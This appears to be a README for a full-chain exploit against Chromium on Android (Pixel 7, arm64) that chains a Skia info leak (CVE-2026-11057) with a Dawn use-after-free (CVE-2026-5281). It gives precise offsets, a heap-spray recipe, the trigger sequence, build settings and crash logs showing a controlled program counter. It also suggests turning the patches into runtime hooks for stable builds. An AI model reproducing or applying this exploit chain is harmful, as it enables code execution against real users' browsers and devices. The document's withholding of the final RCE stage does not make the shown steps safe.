
Full-chain exploit per Android Chromium che combina la info leak di CVE-2026-11057 e la use-after-free di CVE-2026-5281 per ottenere il vtable hijack e l'esecuzione arbitraria di codice.
Pixel 7 Android 16 ARM64
commit 994c846bbd7a35241ba7c08158c13d66412a6993 (HEAD -> 146.0.7680.111, tag: 146.0.7680.111)
Author: Roger McFarlane <[email protected]>
Date: Mon Mar 9 12:48:07 2026 -0700
Questo repository combina CVE-2026-11057 (memoria immagine glifo non inizializzata in Skia) e CVE-2026-5281 (use-after-free di DeviceInfo nel server wire di Dawn) in una catena completa. Tutte le modifiche sono lato renderer; il codice del processo GPU è invariato:
Fuga di informazioni (CVE-2026-11057) — Attiva un buffer immagine glifo non inizializzato tramite il rendering di testo su canvas, legge i puntatori dall'heap del processo GPU, li valida con esecuzioni aritmetiche, deriva la base del pool PartitionAlloc e calcola il target Server fittizio M = POOL + 0x202A08000 (offset calibrato).
Spray CC — createBuffer(label="CCM:<m>:<n>") attiva l'iniezione di 3000 ChunkedCommands incompleti (bucket da 10KB, remainingSize=1, mantenuti vivi nel mChunkedCommands del server wire). Il payload riempie la regione attorno a M con un Server fittizio predisposto per Android arm64: vptr MutexProtected a +0xB20, ChunkedCommandSerializer a +0xB50/+0xB58, CommandSerializer/vtable fittizio a +0xC00/+0xD00.
Trigger 5281 + occupazione — queue.writeBuffer(buffer, 0x414141, ...) prima chiama Unregister(Device) per liberare il DeviceInfo da 16 byte, poi inietta un ChunkedCommand di occupazione da 16 byte per reclamare quello slot e sovrascrivere info->server con M, e infine attiva un errore di validazione con un offset fuori dai limiti.
Callback pendente → hijack della vtable — Il callback di errore non catturato dereferenzia info->server = M (Server fittizio): i mutex azzerati passano, l'esecuzione raggiunge OnUncapturedError → SerializeCommand, e la chiamata indiretta relativa alla vtable colpisce la nostra vtable fittizia, dando pc = fake_vtable + offset int32 controllato, dimostrato da pc = 0x7641414141.
Nota: Chromium Android arm64 usa vtable relative (
-fexperimental-relative-c++-abi-vtables); le voci della vtable sono offset relativi a 32 bit anziché puntatori a funzione assoluti, quindi il PoC usa un offset int32 controllato come marcatore nel punto di hijack della vtable.
Sul dispositivo di test, la catena completa raggiunge il crash di hijack della vtable con un tasso di successo quasi del 100%; la fase di leak può occasionalmente richiedere diversi ricaricamenti automatici prima di riuscire.
SkStrike.cpp.patch — Trigger del leak CVE-2026-11057. FlattenGlyphsByType() riscrive il payload dello strike così che il processo GPU crei uno SkGlyph con fImage == nullptr, leggendo infine un buffer immagine non inizializzato per far trapelare puntatori dall'heap.Device.cpp.patch — Spray CC del client wire Dawn. APICreateBuffer() analizza l'etichetta CCM:, costruisce il payload del Server fittizio per Android arm64 e inietta N ChunkedCommands incompleti che restano vivi nel processo GPU.ApiProcs.cpp.patch — Trigger CVE-2026-5281 + occupazione. Sull'offset magico 0x414141 di QueueWriteBuffer, chiama Unregister(Device) per liberare DeviceInfo, inietta un ChunkedCommand da 16 byte per reclamare lo slot e impostare , poi procede con un offset fuori dai limiti per attivare il callback pendente.Questo ExP è divulgato solo fino al passo dell'hijack della vtable (target di chiamata indiretta controllato, pc = base+0x41414141). I passi successivi al salto controllato, così come l'implementazione della RCE, sono mantenuti riservati e non sono inclusi in questo repository.
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 0
v8_symbol_level = 0
blink_symbol_level = 0
is_component_build = false
proprietary_codecs = true
ffmpeg_branding = "Chrome"
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"
# Disable PartitionAllocEventuallyZeroFreedMemory
disable_fieldtrial_testing_config = true
treat_warnings_as_errors = false
adb logcat | grep DEBUG sul PCStack dell'exploit corrente:
~$ adb logcat | grep DEBUG
06-11 20:51:46.100 11269 11269 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-11 20:51:46.100 11269 11269 F DEBUG : Build fingerprint: '[REDACTED]'
06-11 20:51:46.100 11269 11269 F DEBUG : Revision: 'MP1.0'
06-11 20:51:46.100 11269 11269 F DEBUG : ABI: 'arm64'
06-11 20:51:46.100 11269 11269 F DEBUG : Timestamp: 2025-06-11 20:51:45.949325765+0800
06-11 20:51:46.100 11269 11269 F DEBUG : Process uptime: 3s
06-11 20:51:46.100 11269 11269 F DEBUG : Cmdline: org.chromium.chrome:privileged_process0
06-11 20:51:46.100 11269 11269 F DEBUG : pid: 11188, tid: 11211, name: CrGpuMain >>> org.chromium.chrome:privileged_process0 <<<
06-11 20:51:46.100 11269 11269 F DEBUG : uid: 10309
06-11 20:51:46.100 11269 11269 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-11 20:51:46.100 11269 11269 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0000007641414141
06-11 20:51:46.100 11269 11269 F DEBUG : x0 0000007602a08b20 x1 0000007b272cd808 x2 0000000000000002 x3 00000076000f5c40
06-11 20:51:46.100 11269 11269 F DEBUG : x4 00000000000000b1 x5 000000760148b520 x6 0000000001414d4c x7 0000007e7db19004
06-11 20:51:46.100 11269 11269 F DEBUG : x8 0000007b272cd790 x9 0000007641414141 x10 0000000000000000 x11 0000000000000001
06-11 20:51:46.100 11269 11269 F DEBUG : x12 0000000000000000 x13 0000000000000002 x14 0000007e7d733040 x15 0000000000000000
06-11 20:51:46.100 11269 11269 F DEBUG : x16 0000007b230ada10 x17 0000007e66d55520 x18 0000007b25fd8000 x19 0000007602a08000
06-11 20:51:46.100 11269 11269 F DEBUG : x20 00000000000000b1 x21 00000076000f5c40 x22 0000000000000002 x23 0000007b272cd808
06-11 20:51:46.100 11269 11269 F DEBUG : x24 0000007602a08000 x25 0000007b230e7000 x26 0000007b1897c2c6 x27 0000000000000006
06-11 20:51:46.100 11269 11269 F DEBUG : x28 0000007b22fa7728 x29 0000007b272cd7c0
06-11 20:51:46.100 11269 11269 F DEBUG : lr 0000007b20309184 sp 0000007b272cd770 pc 0000007641414141 pst 0000000060001000
06-11 20:51:46.100 11269 11269 F DEBUG : 36 total frames
06-11 20:51:46.100 11269 11269 F DEBUG : backtrace:
06-11 20:51:46.100 11269 11269 F DEBUG : #00 pc 000000003dd8c141 [anon:partition_alloc]
06-11 20:51:46.100 11269 11269 F DEBUG : #01 pc 00000000084ac180 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #02 pc 00000000084ab1fc /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #03 pc 0000000002a1988c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #04 pc 0000000002a36b4c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #05 pc 00000000029de990 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #06 pc 00000000084ae164 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #07 pc 00000000084956b8 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #08 pc 0000000008dd61f0 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #09 pc 0000000008dd6300 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #10 pc 0000000008dd3dd0 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #11 pc 00000000065fe184 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #12 pc 00000000065fd1dc /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #13 pc 00000000065faf6c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #14 pc 00000000065fac54 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #15 pc 0000000005a63054 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #16 pc 00000000065ff294 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #17 pc 000000000547e288 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #18 pc 00000000058de7ec /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #19 pc 0000000005d66b70 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #20 pc 000000000633da58 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #21 pc 00000000063431e8 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #22 pc 0000000007a2eb60 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #23 pc 0000000007a2e730 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #24 pc 0000000007a2dd14 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #25 pc 0000000007a2da24 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #26 pc 000000000033f500 /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #27 pc 0000000000689588 /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #28 pc 00000000002890ec /data/app/.../base.apk (offset 0x1ec6000) (qf1.run+560)
06-11 20:51:46.100 11269 11269 F DEBUG : #29 pc 00000000000a94f0 /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
06-11 20:51:46.100 11269 11269 F DEBUG : #30 pc 0000000000328194 /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #31 pc 00000000002d9348 /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #32 pc 0000000000421028 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #33 pc 0000000000420c74 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #34 pc 0000000000080e6c /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
06-11 20:51:46.100 11269 11269 F DEBUG : #35 pc 00000000000736d0 /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)
Stack dell'exploit completo (salto a un indirizzo arbitrario a 64 bit):
~$ adb logcat | grep DEBUG
06-12 01:02:33.858 17983 17983 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-12 01:02:33.858 17983 17983 F DEBUG : Build fingerprint: 'google/panther/panther:16/.../release-keys'
06-12 01:02:33.858 17983 17983 F DEBUG : Revision: 'MP1.0'
06-12 01:02:33.858 17983 17983 F DEBUG : ABI: 'arm64'
06-12 01:02:33.858 17983 17983 F DEBUG : Timestamp: 2025-06-12 01:02:33.719427351+0800
06-12 01:02:33.858 17983 17983 F DEBUG : Process uptime: 151s
06-12 01:02:33.858 17983 17983 F DEBUG : Cmdline: org.chromium.chrome:privileged_process2
06-12 01:02:33.858 17983 17983 F DEBUG : pid: 17875, tid: 17891, name: CrGpuMain >>> org.chromium.chrome:privileged_process2 <<<
06-12 01:02:33.858 17983 17983 F DEBUG : uid: 10309
06-12 01:02:33.858 17983 17983 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-12 01:02:33.858 17983 17983 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
06-12 01:02:33.858 17983 17983 F DEBUG : x0 0000007602a08b68 x1 0000007b272cd808 x2 0000000000000002 x3 00000076000c9f40
06-12 01:02:33.858 17983 17983 F DEBUG : x4 00000000000000b1 x5 0000007600024c40 x6 0000000001414d4c x7 0000007e7db19004
06-12 01:02:33.858 17983 17983 F DEBUG : x8 4141414141414141 x9 0000007b76d934a0 x10 0000000000000000 x11 0000000000000001
06-12 01:02:33.858 17983 17983 F DEBUG : x12 0000000000000000 x13 0000000000000002 x14 0000007e7d733040 x15 0000000000000000
06-12 01:02:33.858 17983 17983 F DEBUG : x16 0000007b24f19ab0 x17 0000007e66d55520 x18 0000007b266dc000 x19 0000007602a08000
06-12 01:02:33.858 17983 17983 F DEBUG : x20 00000000000000b1 x21 00000076000c9f40 x22 0000000000000002 x23 0000007b272cd808
06-12 01:02:33.858 17983 17983 F DEBUG : x24 0000007602a08000 x25 0000007b24f53000 x26 0000007b1a7e82c6 x27 0000000000000006
06-12 01:02:33.858 17983 17983 F DEBUG : x28 0000007b24e137c8 x29 0000007b272cd7c0
06-12 01:02:33.858 17983 17983 F DEBUG : lr 0000007b76d934b0 sp 0000007b272cd770 pc 0041414141414141 pst 0000000060001000
06-12 01:02:33.858 17983 17983 F DEBUG : 3 total frames
06-12 01:02:33.858 17983 17983 F DEBUG : backtrace:
06-12 01:02:33.858 17983 17983 F DEBUG : #00 pc 0041414141414141 <unknown>
06-12 01:02:33.858 17983 17983 F DEBUG : #01 pc 0000000000b0f4ac /.....
06-12 01:02:33.858 17983 17983 F DEBUG : #02 pc 00000000001cdffc [anon:partition_alloc]
Nella versione stabile di Chromium, applicare direttamente le patch potrebbe non essere fattibile o desiderabile. Quindi, puoi riscrivere la logica delle patch come funzioni hook per intercettare e modificare le funzioni di elaborazione rilevanti a runtime.
info->server = Mexploit.html — Orchestrazione della pagina: primitiva di leak (groom/draw/readCell/verifyRuns/derivePoolBase), spray CC e un trigger autonomo exploit5281(); in caso di fallimento pulisce lo stato dello spray e ricarica così che le fasi non interferiscano.